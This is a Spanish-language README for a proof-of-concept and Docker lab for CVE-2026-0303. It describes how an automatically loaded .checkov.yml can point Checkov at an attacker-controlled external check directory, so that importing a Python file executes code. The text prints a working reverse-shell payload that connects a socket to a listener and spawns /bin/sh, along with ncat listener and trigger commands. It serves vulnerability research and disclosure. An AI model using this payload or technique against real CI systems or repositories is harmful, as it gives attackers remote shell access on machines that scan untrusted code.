
Prueba de concepto y laboratorio Docker para CVE-2026-0303, que demuestra la ejecución de código arbitrario en Checkov mediante un archivo .checkov.yml cargado automáticamente que apunta a una comprobación externa controlada por el atacante.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Gravedad: Baja
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnerabilidad de ejecución de código arbitrario en Checkov.
Publicada por Palo Alto Networks el 9 de septiembre de 2026.
Versiones afectadas: Checkov 3.2.0 hasta 3.2.531
Versión corregida: Checkov 3.2.532
Ejecución de código arbitrario en Checkov mediante un archivo .checkov.yml cargado automáticamente
-> ejecución de código Python controlado por el atacante a través de una comprobación personalizada externa sin firmar.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov admite comprobaciones externas en Python. Estas comprobaciones se cargan intencionadamente como módulos de Python, lo que significa que las sentencias Python de nivel superior se ejecutan durante la importación del módulo.
Cuando Checkov analiza un directorio, busca automáticamente en ese directorio un
archivo de configuración .checkov.yml o .checkov.yaml; un archivo de configuración
controlado por el atacante podría establecer external-checks-dir en un
directorio dentro del repositorio analizado.
Esto crea la siguiente cadena de ejecución:
La víctima analiza un repositorio no confiable
->
Checkov carga automáticamente .checkov.yml
->
La configuración establece external-checks-dir
->
Checkov importa un módulo Python controlado por el atacante
->
El código Python de nivel superior se ejecuta con los privilegios de Checkov
El atacante no necesita explotar el analizador de Terraform ni proporcionar una política de Checkov válida. La ejecución de código ocurre cuando Checkov importa el archivo Python.
Esto es especialmente relevante para las canalizaciones de CI que ejecutan Checkov automáticamente contra pull requests u otro contenido no confiable de repositorios.
El payload del laboratorio se conecta desde el contenedor de Checkov a un listener en el host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modifique el payload en exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Inicie un listener en el host:
ncat -lvkp 4444
Active el comportamiento vulnerable analizando el directorio controlado por el atacante:
checkov -d /workspace --framework terraform --skip-download
Checkov lee automáticamente /workspace/.checkov.yml, descubre el directorio de
comprobaciones externas e importa poc_check.py. El listener debería recibir la
shell cuando se ejecute la llamada exploit() a nivel de módulo.
He proporcionado un laboratorio Docker sencillo que puede configurar mediante
docker compose up -d
y conectarse a su shell mediante
docker exec -it scan-server /bin/sh
Este repositorio contiene una prueba de concepto independiente para CVE-2026-0303. La vulnerabilidad fue recreada y probada en un entorno de laboratorio aislado.
Este proyecto está destinado únicamente a la investigación de seguridad autorizada, la educación y las pruebas en entornos aislados. No lo utilice contra sistemas, redes, repositorios o datos sin la autorización explícita del propietario.
El autor proporciona este proyecto tal cual, sin garantías de ningún tipo, y no acepta responsabilidad alguna por daños, pérdida de datos, interrupción del servicio, acceso no autorizado o uso indebido de este software o sus derivados.